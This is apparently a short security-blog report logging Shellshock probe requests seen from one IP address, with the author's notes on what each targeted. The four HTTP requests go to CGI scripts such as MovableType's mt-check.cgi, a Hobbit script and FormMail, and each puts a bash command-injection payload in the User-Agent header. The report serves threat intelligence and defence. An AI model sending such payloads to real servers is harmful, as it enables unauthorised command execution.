Shellshock Attempt: MovableType.org FormMail Hobbit

Shellshock Attempt
Reported by neonprimetime security
http://neonprimetime.blogspot.com

*****
162.208.48.118
*****

GET //cgi-bin/blog/mt-check.cgi  HTTP/1.1
User-Agent: () { :;};echo; /bin/bash -c " echo 2014 | md5sum"

---> MY NOTES: Appears like an attack on the movabletype.org blog module check script




GET //cgi-bin/bb-ack.sh  HTTP/1.1
User-Agent: () { :;};echo; /bin/bash -c " echo 2014 | md5sum"


---> MY NOTES: Appears like an attack on the Hobbit CGI script used to acknowledge alerts



GET //cgi-sys/FormMail-clone.cgi HTTP/1.1
User-Agent: () { :;};echo; /bin/bash -c " echo 2014 | md5sum"

---> MY NOTES: Appears like an attack on the popular email script FormMail



GET //cgi-bin/admin.cgi  HTTP/1.1
User-Agent: () { :;};echo; /bin/bash -c " echo 2014 | md5sum"

---> MY NOTES: Appears like an attack on a generic administrative page